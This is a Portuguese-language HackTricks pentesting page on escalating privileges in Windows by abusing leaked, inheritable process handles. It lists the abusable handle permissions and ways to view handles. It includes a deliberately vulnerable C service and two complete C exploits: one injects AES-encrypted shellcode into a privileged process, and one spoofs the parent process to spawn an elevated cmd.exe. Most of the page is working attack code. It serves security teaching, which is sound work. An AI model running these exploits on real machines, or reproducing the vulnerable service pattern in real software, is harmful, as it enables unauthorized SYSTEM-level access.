# Exploração de Handle Vazado

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!

- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)

- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)

- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

- **Compartilhe suas técnicas de hacking enviando PRs para o [repositório hacktricks](https://github.com/carlospolop/hacktricks) e [hacktricks-cloud repo](https://github.com/carlospolop/hacktricks-cloud)**.

</details>

## Introdução

Handles em um processo permitem **acessar** diferentes **recursos do Windows**:

![](<../../.gitbook/assets/image (663) (1).png>)

Já houve vários casos de **escalada de privilégios** em que um **processo privilegiado** com **handles abertos e hereditários** executou um **processo não privilegiado** dando-lhe **acesso a todos esses handles**.

Por exemplo, imagine que **um processo em execução como SYSTEM abre um novo processo** (`OpenProcess()`) com **acesso total**. O mesmo processo **também cria um novo processo** (`CreateProcess()`) **com baixos privilégios, mas herdando todos os handles abertos do processo principal**.\
Então, se você tiver **acesso total ao processo com baixos privilégios**, poderá pegar o **handle aberto para o processo privilegiado criado** com `OpenProcess()` e **injetar um shellcode**.

## **Handles Interessantes**

### **Processo**

Como você leu no exemplo inicial, se um **processo não privilegiado herda um handle de processo** de um **processo privilegiado** com privilégios suficientes, ele poderá executar **código arbitrário nele**.

Neste [**excelente artigo**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) você pode ver como explorar qualquer handle de processo que tenha uma das seguintes permissões:

* PROCESS\_ALL\_ACCESS
* PROCESS\_CREATE\_PROCESS
* PROCESS\_CREATE\_THREAD
* PROCESS\_DUP\_HANDLE
* PROCESS\_VM\_WRITE

### Thread

Semelhante aos handles de processo, se um **processo não privilegiado herda um handle de thread** de um **processo privilegiado** com privilégios suficientes, ele poderá executar **código arbitrário nele**.

Neste [**excelente artigo**](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/) você também pode ver como explorar qualquer handle de processo que tenha uma das seguintes permissões:

* THREAD\_ALL\_ACCESS
* THREAD\_DIRECT\_IMPERSONATION
* THREAD\_SET\_CONTEXT

### Handles de Arquivo, Chave e Seção

Se um **processo não privilegiado herda** um **handle** com **permissões equivalentes de gravação** sobre um **arquivo ou registro privilegiado**, ele poderá **sobrescrever** o arquivo/registro (e com muita **sorte**, **escalar privilégios**).

**Handles de Seção** são semelhantes aos handles de arquivo, o nome comum desses tipos de objetos é **"File Mapping"**. Eles são usados para trabalhar com **grandes arquivos sem manter o arquivo inteiro na memória**. Isso torna a exploração "semelhante" à exploração de um Handle de Arquivo.

## Como ver handles de processos

### Process Hacker

[**Process Hacker**](https://github.com/processhacker/processhacker) é uma ferramenta que você pode baixar gratuitamente. Ele tem várias opções incríveis para inspecionar processos e uma delas é a **capacidade de ver os handles de cada processo**.

Observe que, para **ver todos os handles de todos os processos, é necessário o SeDebugPrivilege** (portanto, você precisa executar o Process Hacker como administrador).

Para ver os handles de um processo, clique com o botão direito do mouse no processo e selecione Handles:

![](<../../.gitbook/assets/image (651) (1).png>)

Você pode então clicar com o botão direito do mouse no handle e **verificar as permissões**:

![](<../../.gitbook/assets/image (628).png>)

### Sysinternals Handles

O binário [**Handles**](https://docs.microsoft.com/en-us/sysinternals/downloads/handle) da Sysinternals também listará os handles por processo no console:

![](<../../.gitbook/assets/image (654).png>)

### LeakedHandlesFinder

[**Esta ferramenta**](https://github.com/lab52io/LeakedHandlesFinder) permite que você **monitore** handles vazados e até mesmo **autoexploite** para escalar privilégios.

### Metodologia

Agora que você sabe como encontrar handles de processos, o que você precisa verificar é se algum **processo não privilegiado está tendo acesso a handles privilegiados**. Nesse caso, o usuário do processo pode ser capaz de obter o handle e abusá-lo para escalar privilégios.

{% hint style="warning" %}
Foi mencionado anteriormente que você precisa do SeDebugPrivilege para acessar todos os handles. Mas um **usuário ainda pode acessar os handles de seus processos**, então pode ser útil se você quiser escalar privilégios apenas desse usuário para **executar as ferramentas com as permissões regulares do usuário**.
```bash
handle64.exe /a | findstr /r /i "process thread file key pid:"
```
{% endhint %}

## Exemplo Vulnerável

Por exemplo, o seguinte código pertence a um **serviço do Windows** que seria vulnerável. O código vulnerável deste binário de serviço está localizado dentro da função **`Exploit`**. Esta função começa **criando um novo processo de handle com acesso total**. Em seguida, está **criando um processo com baixo privilégio** (copiando o token de baixo privilégio do _explorer.exe_) executando _C:\users\username\desktop\client.exe_. A **vulnerabilidade reside no fato de que está criando o processo com baixo privilégio com `bInheritHandles` como `TRUE`**.

Portanto, este processo de baixo privilégio é capaz de pegar o handle do processo de alto privilégio criado primeiro e injetar e executar um shellcode (veja a próxima seção).
```c
#include <windows.h>
#include <tlhelp32.h>
#include <tchar.h>
#pragma comment (lib, "advapi32")

TCHAR* serviceName = TEXT("HandleLeakSrv");
SERVICE_STATUS serviceStatus;
SERVICE_STATUS_HANDLE serviceStatusHandle = 0;
HANDLE stopServiceEvent = 0;


//Find PID of a proces from its name
int FindTarget(const char *procname) {

	HANDLE hProcSnap;
	PROCESSENTRY32 pe32;
	int pid = 0;
			
	hProcSnap = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (INVALID_HANDLE_VALUE == hProcSnap) return 0;
			
	pe32.dwSize = sizeof(PROCESSENTRY32); 
			
	if (!Process32First(hProcSnap, &pe32)) {
			CloseHandle(hProcSnap);
			return 0;
	}
			
	while (Process32Next(hProcSnap, &pe32)) {
			if (lstrcmpiA(procname, pe32.szExeFile) == 0) {
					pid = pe32.th32ProcessID;
					break;
			}
	}
			
	CloseHandle(hProcSnap);
			
	return pid;
}


int Exploit(void) {
	
  	STARTUPINFOA si;
  	PROCESS_INFORMATION pi;
	int pid = 0;
  	HANDLE hUserToken;
	HANDLE hUserProc;
  	HANDLE hProc;

	// open a handle to itself (privileged process) - this gets leaked!
  	hProc = OpenProcess(PROCESS_ALL_ACCESS, TRUE, GetCurrentProcessId());

	// get PID of user low privileged process
	if ( pid = FindTarget("explorer.exe") ) 
		hUserProc = OpenProcess(PROCESS_QUERY_INFORMATION, FALSE, pid);
	else
		return -1;
	
	// extract low privilege token from a user's process
    if (!OpenProcessToken(hUserProc, TOKEN_ALL_ACCESS, &hUserToken)) {
        CloseHandle(hUserProc);
        return -1;
    }

	// spawn a child process with low privs and leaked handle
    ZeroMemory(&si, sizeof(si));
    si.cb = sizeof(si);
    ZeroMemory(&pi, sizeof(pi));
    CreateProcessAsUserA(hUserToken, "C:\\users\\username\\Desktop\\client.exe", 
						NULL, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi);

	CloseHandle(hProc);
	CloseHandle(hUserProc);
    return 0;
}



void WINAPI ServiceControlHandler( DWORD controlCode ) {
	switch ( controlCode ) {
		case SERVICE_CONTROL_SHUTDOWN:
		case SERVICE_CONTROL_STOP:
			serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
			SetServiceStatus( serviceStatusHandle, &serviceStatus );

			SetEvent( stopServiceEvent );
			return;

		case SERVICE_CONTROL_PAUSE:
			break;

		case SERVICE_CONTROL_CONTINUE:
			break;

		case SERVICE_CONTROL_INTERROGATE:
			break;

		default:
			break;
	}
	SetServiceStatus( serviceStatusHandle, &serviceStatus );
}

void WINAPI ServiceMain( DWORD argc, TCHAR* argv[] ) {
	// initialise service status
	serviceStatus.dwServiceType = SERVICE_WIN32;
	serviceStatus.dwCurrentState = SERVICE_STOPPED;
	serviceStatus.dwControlsAccepted = 0;
	serviceStatus.dwWin32ExitCode = NO_ERROR;
	serviceStatus.dwServiceSpecificExitCode = NO_ERROR;
	serviceStatus.dwCheckPoint = 0;
	serviceStatus.dwWaitHint = 0;

	serviceStatusHandle = RegisterServiceCtrlHandler( serviceName, ServiceControlHandler );

	if ( serviceStatusHandle ) {
		// service is starting
		serviceStatus.dwCurrentState = SERVICE_START_PENDING;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );

		// do initialisation here
		stopServiceEvent = CreateEvent( 0, FALSE, FALSE, 0 );

		// running
		serviceStatus.dwControlsAccepted |= (SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
		serviceStatus.dwCurrentState = SERVICE_RUNNING;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );

		Exploit();
		WaitForSingleObject( stopServiceEvent, -1 );

		// service was stopped
		serviceStatus.dwCurrentState = SERVICE_STOP_PENDING;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );

		// do cleanup here
		CloseHandle( stopServiceEvent );
		stopServiceEvent = 0;

		// service is now stopped
		serviceStatus.dwControlsAccepted &= ~(SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_SHUTDOWN);
		serviceStatus.dwCurrentState = SERVICE_STOPPED;
		SetServiceStatus( serviceStatusHandle, &serviceStatus );
	}
}


void InstallService() {
	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CREATE_SERVICE );

	if ( serviceControlManager ) {
		TCHAR path[ _MAX_PATH + 1 ];
		if ( GetModuleFileName( 0, path, sizeof(path)/sizeof(path[0]) ) > 0 ) {
			SC_HANDLE service = CreateService( serviceControlManager,
							serviceName, serviceName,
							SERVICE_ALL_ACCESS, SERVICE_WIN32_OWN_PROCESS,
							SERVICE_AUTO_START, SERVICE_ERROR_IGNORE, path,
							0, 0, 0, 0, 0 );
			if ( service )
				CloseServiceHandle( service );
		}
		CloseServiceHandle( serviceControlManager );
	}
}

void UninstallService() {
	SC_HANDLE serviceControlManager = OpenSCManager( 0, 0, SC_MANAGER_CONNECT );

	if ( serviceControlManager ) {
		SC_HANDLE service = OpenService( serviceControlManager,
			serviceName, SERVICE_QUERY_STATUS | DELETE );
		if ( service ) {
			SERVICE_STATUS serviceStatus;
			if ( QueryServiceStatus( service, &serviceStatus ) ) {
				if ( serviceStatus.dwCurrentState == SERVICE_STOPPED )
					DeleteService( service );
			}
			CloseServiceHandle( service );
		}
		CloseServiceHandle( serviceControlManager );
	}
}

int _tmain( int argc, TCHAR* argv[] )
{
	if ( argc > 1 && lstrcmpi( argv[1], TEXT("install") ) == 0 ) {
		InstallService();
	}
	else if ( argc > 1 && lstrcmpi( argv[1], TEXT("uninstall") ) == 0 ) {
		UninstallService();
	}
	else  {
		SERVICE_TABLE_ENTRY serviceTable[] = {
			{ serviceName, ServiceMain },
			{ 0, 0 }
		};
	
		StartServiceCtrlDispatcher( serviceTable );
	}	

	return 0;
}
```
### Exemplo de Exploração 1

{% hint style="info" %}
Em um cenário real, você provavelmente **não será capaz de controlar o binário** que será executado pelo código vulnerável (_C:\users\username\desktop\client.exe_ neste caso). Provavelmente, você irá **comprometer um processo e precisará verificar se pode acessar qualquer handle vulnerável de qualquer processo privilegiado**.
{% endhint %}

Neste exemplo, você pode encontrar o código de uma possível exploração para _C:\users\username\desktop\client.exe_.\
A parte mais interessante deste código está localizada em `GetVulnProcHandle`. Esta função irá **começar a buscar todos os handles**, em seguida, irá **verificar se algum deles pertence ao mesmo PID** e se o handle pertence a um **processo**. Se todos esses requisitos forem atendidos (um handle de processo aberto acessível é encontrado), ele tentará **injetar e executar um shellcode abusando do handle do processo**.\
A injeção do shellcode é feita dentro da função **`Inject`** e ela apenas **escreverá o shellcode dentro do processo privilegiado e criará uma thread dentro do mesmo processo** para executar o shellcode).
```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


int AESDecrypt(char * payload, unsigned int payload_len, char * key, size_t keylen) {
        HCRYPTPROV hProv;
        HCRYPTHASH hHash;
        HCRYPTKEY hKey;

        if (!CryptAcquireContextW(&hProv, NULL, NULL, PROV_RSA_AES, CRYPT_VERIFYCONTEXT)){
                return -1;
        }
        if (!CryptCreateHash(hProv, CALG_SHA_256, 0, 0, &hHash)){
                return -1;
        }
        if (!CryptHashData(hHash, (BYTE*)key, (DWORD)keylen, 0)){
                return -1;              
        }
        if (!CryptDeriveKey(hProv, CALG_AES_256, hHash, 0,&hKey)){
                return -1;
        }
        
        if (!CryptDecrypt(hKey, (HCRYPTHASH) NULL, 0, 0, payload, &payload_len)){
                return -1;
        }
        
        CryptReleaseContext(hProv, 0);
        CryptDestroyHash(hHash);
        CryptDestroyKey(hKey);
        
        return 0;
}


HANDLE GetVulnProcHandle(void) {
    
	ULONG handleInfoSize = 0x10000;
    NTSTATUS status;
    PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
	HANDLE hProc = NULL;
	POBJECT_TYPE_INFORMATION objectTypeInfo;
	PVOID objectNameInfo;
	UNICODE_STRING objectName;
    ULONG returnLength;
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    DWORD dwOwnPID = GetCurrentProcessId();
	
    pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
    pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
    pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
    pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
    pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

    printf("[+] Grabbing handles...");

    while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
											NULL )) == STATUS_INFO_LENGTH_MISMATCH)
        phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

    if (status != STATUS_SUCCESS)
    {
        printf("[!] NtQuerySystemInformation failed!\n");
        return 0;
    }

    printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

    // iterate handles until we find the privileged process handle
    for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
    {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

        // Check if this handle belongs to our own process
        if (handle.UniqueProcessId != dwOwnPID)
            continue;

        objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectTypeInformation,
						objectTypeInfo,
						0x1000,
						NULL ) != STATUS_SUCCESS)
            continue;

		// skip some objects to avoid getting stuck
		// see: https://github.com/adamdriscoll/PoshInternals/issues/7
        if (handle.GrantedAccess == 0x0012019f
			&& handle.GrantedAccess != 0x00120189
			&& handle.GrantedAccess != 0x120089
			&& handle.GrantedAccess != 0x1A019F ) {
            free(objectTypeInfo);
            continue;
        }

		// get object name information
        objectNameInfo = malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectNameInformation,
						objectNameInfo,
						0x1000,
						&returnLength ) != STATUS_SUCCESS) {
            
			// adjust the size of a returned object and query again
			objectNameInfo = realloc(objectNameInfo, returnLength);
            if (pNtQueryObject( (HANDLE) handle.HandleValue,
							ObjectNameInformation,
							objectNameInfo,
							returnLength,
							NULL ) != STATUS_SUCCESS) {
                free(objectTypeInfo);
                free(objectNameInfo);
                continue;
            }
        }

        // check if we've got a process object
        objectName = *(PUNICODE_STRING) objectNameInfo;
        UNICODE_STRING pProcess;

        pRtlInitUnicodeString(&pProcess, L"Process");
        if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
            printf("[+] Found process handle (%x)\n", handle.HandleValue);
            hProc = (HANDLE) handle.HandleValue;
			free(objectTypeInfo);
			free(objectNameInfo);
			break;
        }
        else
            continue;
        
        free(objectTypeInfo);
        free(objectNameInfo);
    }
	
	return hProc;
} 

int Inject(HANDLE hProc, unsigned char * payload, unsigned int payload_len) {
	
	LPVOID pRemoteCode = NULL;
    HANDLE hThread = NULL;
	BOOL bStatus = FALSE;

	pVirtualAllocEx = GetProcAddress(GetModuleHandle("kernel32.dll"), "VirtualAllocEx");
	pWriteProcessMemory = GetProcAddress(GetModuleHandle("kernel32.dll"), "WriteProcessMemory");
	pRtlCreateUserThread = GetProcAddress(GetModuleHandle("ntdll.dll"), "RtlCreateUserThread");
	
	pRemoteCode = pVirtualAllocEx(hProc, NULL, payload_len, MEM_COMMIT, PAGE_EXECUTE_READ);
	pWriteProcessMemory(hProc, pRemoteCode, (PVOID)payload, (SIZE_T)payload_len, (SIZE_T *)NULL);
	
    bStatus = (BOOL) pRtlCreateUserThread(hProc, NULL, 0, 0, 0, 0, pRemoteCode, NULL, &hThread, NULL);
	if (bStatus != FALSE) {
			WaitForSingleObject(hThread, -1);
			CloseHandle(hThread);
			return 0;
	}
	else
		return -1;
}

int main(int argc, char **argv) {
	
	int pid = 0;
	HANDLE hProc = NULL;

	// AES encrypted shellcode spawning notepad.exe (ExitThread)
	char key[] = { 0x49, 0xbc, 0xa5, 0x1d, 0xa7, 0x3d, 0xd6, 0x0, 0xee, 0x2, 0x29, 0x3e, 0x9b, 0xb2, 0x8a, 0x69 };
	unsigned char payload[] = { 0x6b, 0x98, 0xe8, 0x38, 0xaf, 0x82, 0xdc, 0xd4, 0xda, 0x57, 0x15, 0x48, 0x2f, 0xf0, 0x4e, 0xd3, 0x1a, 0x70, 0x6d, 0xbf, 0x53, 0xa8, 0xcb, 0xbb, 0xbb, 0x38, 0xf6, 0x4e, 0xee, 0x84, 0x36, 0xe5, 0x25, 0x76, 0xce, 0xb0, 0xf6, 0x39, 0x22, 0x76, 0x36, 0x3c, 0xe1, 0x13, 0x18, 0x9d, 0xb1, 0x6e, 0x0, 0x55, 0x8a, 0x4f, 0xb8, 0x2d, 0xe7, 0x6f, 0x91, 0xa8, 0x79, 0x4e, 0x34, 0x88, 0x24, 0x61, 0xa4, 0xcf, 0x70, 0xdb, 0xef, 0x25, 0x96, 0x65, 0x76, 0x7, 0xe7, 0x53, 0x9, 0xbf, 0x2d, 0x92, 0x25, 0x4e, 0x30, 0xa, 0xe7, 0x69, 0xaf, 0xf7, 0x32, 0xa6, 0x98, 0xd3, 0xbe, 0x2b, 0x8, 0x90, 0x0, 0x9e, 0x3f, 0x58, 0xed, 0x21, 0x69, 0xcb, 0x38, 0x5d, 0x5e, 0x68, 0x5e, 0xb9, 0xd6, 0xc5, 0x92, 0xd1, 0xaf, 0xa2, 0x5d, 0x16, 0x23, 0x48, 0xbc, 0xdd, 0x2a, 0x9f, 0x3c, 0x22, 0xdb, 0x19, 0x24, 0xdf, 0x86, 0x4a, 0xa2, 0xa0, 0x8f, 0x1a, 0xe, 0xd6, 0xb7, 0xd2, 0x6c, 0x6d, 0x90, 0x55, 0x3e, 0x7d, 0x9b, 0x69, 0x87, 0xad, 0xd7, 0x5c, 0xf3, 0x1, 0x7c, 0x93, 0x1d, 0xaa, 0x40, 0xf, 0x15, 0x48, 0x5b, 0xad, 0x6, 0xb5, 0xe5, 0xb9, 0x92, 0xae, 0x9b, 0xdb, 0x9a, 0x9b, 0x4e, 0x44, 0x45, 0xdb, 0x9f, 0x28, 0x90, 0x9e, 0x63, 0x23, 0xf2, 0xca, 0xab, 0xa7, 0x68, 0xbc, 0x31, 0xb4, 0xf9, 0xbb, 0x73, 0xd4, 0x56, 0x94, 0x2c, 0x63, 0x47, 0x21, 0x84, 0xa2, 0xb6, 0x91, 0x23, 0x8f, 0xa0, 0x46, 0x76, 0xff, 0x3f, 0x75, 0xd, 0x51, 0xc5, 0x70, 0x26, 0x1, 0xcf, 0x23, 0xbf, 0x97, 0xb2, 0x8d, 0x66, 0x35, 0xc8, 0xe3, 0x2, 0xf6, 0xbd, 0x44, 0x83, 0xf2, 0x80, 0x4c, 0xd0, 0x7d, 0xa3, 0xbd, 0x33, 0x8e, 0xe8, 0x6, 0xbc, 0xdc, 0xff, 0xe0, 0x96, 0xd9, 0xdc, 0x87, 0x2a, 0x81, 0xf3, 0x53, 0x37, 0x16, 0x3a, 0xcc, 0x3c, 0x34, 0x4, 0x9c, 0xc6, 0xbb, 0x12, 0x72, 0xf3, 0xa3, 0x94, 0x5d, 0x19, 0x43, 0x56, 0xa8, 0xba, 0x2a, 0x1d, 0x12, 0xeb, 0xd2, 0x6e, 0x79, 0x65, 0x2a };
	unsigned int payload_len = sizeof(payload);

	printf("My PID: %d\n", GetCurrentProcessId());
	getchar();
	
	// find a leaked handle to a process
	hProc = GetVulnProcHandle();
	
	if ( hProc != NULL) {
		
		// d#Decrypt payload
		AESDecrypt((char *) payload, payload_len, key, sizeof(key));
		printf("[+] Sending gift...");
		// Inject and run the payload in the privileged context
		Inject(hProc, payload, payload_len);
		printf("done.\n");
	}
	getchar();

    return 0;
}
```
### Exemplo de Exploração 2

{% hint style="info" %}
Em um cenário real, você provavelmente **não será capaz de controlar o binário** que será executado pelo código vulnerável (_C:\users\username\desktop\client.exe_ neste caso). Provavelmente, você irá **comprometer um processo e precisará verificar se pode acessar qualquer handle vulnerável de qualquer processo privilegiado**.
{% endhint %}

Neste exemplo, **em vez de abusar do handle aberto para injetar** e executar um shellcode, será **usado o token do processo de handle aberto privilegiado para criar um novo**. Isso é feito nas linhas de 138 a 148.

Observe como a **função `UpdateProcThreadAttribute`** é usada com o **atributo `PROC_THREAD_ATTRIBUTE_PARENT_PROCESS` e o handle para o processo privilegiado aberto**. Isso significa que a **thread do processo criado executando \_cmd.exe**\_\*\* terá o mesmo privilégio de token que o processo de handle aberto\*\*.
```c
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <wincrypt.h>
#include <psapi.h>
#include <tchar.h>
#include <tlhelp32.h>
#include "client.h"
#pragma comment (lib, "crypt32.lib")
#pragma comment (lib, "advapi32")
#pragma comment (lib, "kernel32")


HANDLE GetVulnProcHandle(void) {
    
	ULONG handleInfoSize = 0x10000;
    NTSTATUS status;
    PSYSTEM_HANDLE_INFORMATION phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) malloc(handleInfoSize);
	HANDLE hProc = NULL;
	POBJECT_TYPE_INFORMATION objectTypeInfo;
	PVOID objectNameInfo;
	UNICODE_STRING objectName;
    ULONG returnLength;
    HMODULE hNtdll = GetModuleHandleA("ntdll.dll");
    DWORD dwOwnPID = GetCurrentProcessId();
	
    pNtQuerySystemInformation = GetProcAddress(hNtdll, "NtQuerySystemInformation");
    pNtDuplicateObject = GetProcAddress(hNtdll, "NtDuplicateObject");
    pNtQueryObject = GetProcAddress(hNtdll, "NtQueryObject");
    pRtlEqualUnicodeString = GetProcAddress(hNtdll, "RtlEqualUnicodeString");
    pRtlInitUnicodeString = GetProcAddress(hNtdll, "RtlInitUnicodeString");

    printf("[+] Grabbing handles...");

    while ((status = pNtQuerySystemInformation( SystemHandleInformation, phHandleInfo, handleInfoSize,
											NULL )) == STATUS_INFO_LENGTH_MISMATCH)
        phHandleInfo = (PSYSTEM_HANDLE_INFORMATION) realloc(phHandleInfo, handleInfoSize *= 2);

    if (status != STATUS_SUCCESS)
    {
        printf("[!] NtQuerySystemInformation failed!\n");
        return 0;
    }

    printf("done.\n[+] Fetched %d handles.\n", phHandleInfo->NumberOfHandles);

    // iterate handles until we find the privileged process handle
    for (int i = 0; i < phHandleInfo->NumberOfHandles; ++i)
    {
        SYSTEM_HANDLE_TABLE_ENTRY_INFO handle = phHandleInfo->Handles[i];

        // Check if this handle belongs to our own process
        if (handle.UniqueProcessId != dwOwnPID)
            continue;

        objectTypeInfo = (POBJECT_TYPE_INFORMATION) malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectTypeInformation,
						objectTypeInfo,
						0x1000,
						NULL ) != STATUS_SUCCESS)
            continue;

		// skip some objects to avoid getting stuck
		// see: https://github.com/adamdriscoll/PoshInternals/issues/7
        if (handle.GrantedAccess == 0x0012019f
			&& handle.GrantedAccess != 0x00120189
			&& handle.GrantedAccess != 0x120089
			&& handle.GrantedAccess != 0x1A019F ) {
            free(objectTypeInfo);
            continue;
        }

		// get object name information
        objectNameInfo = malloc(0x1000);
        if (pNtQueryObject( (HANDLE) handle.HandleValue,
						ObjectNameInformation,
						objectNameInfo,
						0x1000,
						&returnLength ) != STATUS_SUCCESS) {
            
			// adjust the size of a returned object and query again
			objectNameInfo = realloc(objectNameInfo, returnLength);
            if (pNtQueryObject( (HANDLE) handle.HandleValue,
							ObjectNameInformation,
							objectNameInfo,
							returnLength,
							NULL ) != STATUS_SUCCESS) {
                free(objectTypeInfo);
                free(objectNameInfo);
                continue;
            }
        }

        // check if we've got a process object
        objectName = *(PUNICODE_STRING) objectNameInfo;
        UNICODE_STRING pProcess;

        pRtlInitUnicodeString(&pProcess, L"Process");
        if (pRtlEqualUnicodeString(&objectTypeInfo->TypeName, &pProcess, TRUE)) {
            printf("[+] Found process handle (%x)\n", handle.HandleValue);
            hProc = (HANDLE) handle.HandleValue;
			free(objectTypeInfo);
			free(objectNameInfo);
			break;
        }
        else
            continue;
        
        free(objectTypeInfo);
        free(objectNameInfo);
    }
	
	return hProc;
} 


int main(int argc, char **argv) {
	
	HANDLE hProc = NULL;
    STARTUPINFOEXA si;
    PROCESS_INFORMATION pi;
	int pid = 0;
	SIZE_T size;
	BOOL ret;

	Sleep(20000);
	// find leaked process handle
	hProc = GetVulnProcHandle();

	if ( hProc != NULL) {

		// Adjust proess attributes with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS
		ZeroMemory(&si, sizeof(STARTUPINFOEXA));

		InitializeProcThreadAttributeList(NULL, 1, 0, &size);
		si.lpAttributeList = (LPPROC_THREAD_ATTRIBUTE_LIST) HeapAlloc( GetProcessHeap(), 0, size );
		
		InitializeProcThreadAttributeList(si.lpAttributeList, 1, 0, &size);
		UpdateProcThreadAttribute(si.lpAttributeList, 0, PROC_THREAD_ATTRIBUTE_PARENT_PROCESS, &hProc, sizeof(HANDLE), NULL, NULL);

		si.StartupInfo.cb = sizeof(STARTUPINFOEXA);
		
		// Spawn elevated cmd process
		ret = CreateProcessA( "C:\\Windows\\system32\\cmd.exe", NULL, NULL, NULL, TRUE, 
			EXTENDED_STARTUPINFO_PRESENT | CREATE_NEW_CONSOLE, NULL, NULL, (LPSTARTUPINFOA)(&si), &pi );

		if (ret == FALSE) {
			printf("[!] Error spawning new process: [%d]\n", GetLastError());
			return -1;
		}
	}
	
	Sleep(20000);
    return 0;
}
```
## Outras ferramentas e exemplos

* [**https://github.com/lab52io/LeakedHandlesFinder**](https://github.com/lab52io/LeakedHandlesFinder)

Esta ferramenta permite monitorar handles vazados para encontrar vulneráveis e até mesmo explorá-los automaticamente. Também possui uma ferramenta para vazar um handle.

* [**https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles**](https://github.com/abankalarm/ReHacks/tree/main/Leaky%20Handles)

Outra ferramenta para vazar um handle e explorá-lo.

## Referências

* [http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/](http://dronesec.pw/blog/2019/08/22/exploiting-leaked-process-and-thread-handles/)
* [https://github.com/lab52io/LeakedHandlesFinder](https://github.com/lab52io/LeakedHandlesFinder)
* [https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html](https://googleprojectzero.blogspot.com/2016/03/exploiting-leaked-thread-handle.html)

<details>

<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>

- Você trabalha em uma **empresa de segurança cibernética**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!

- Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)

- Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)

- **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**

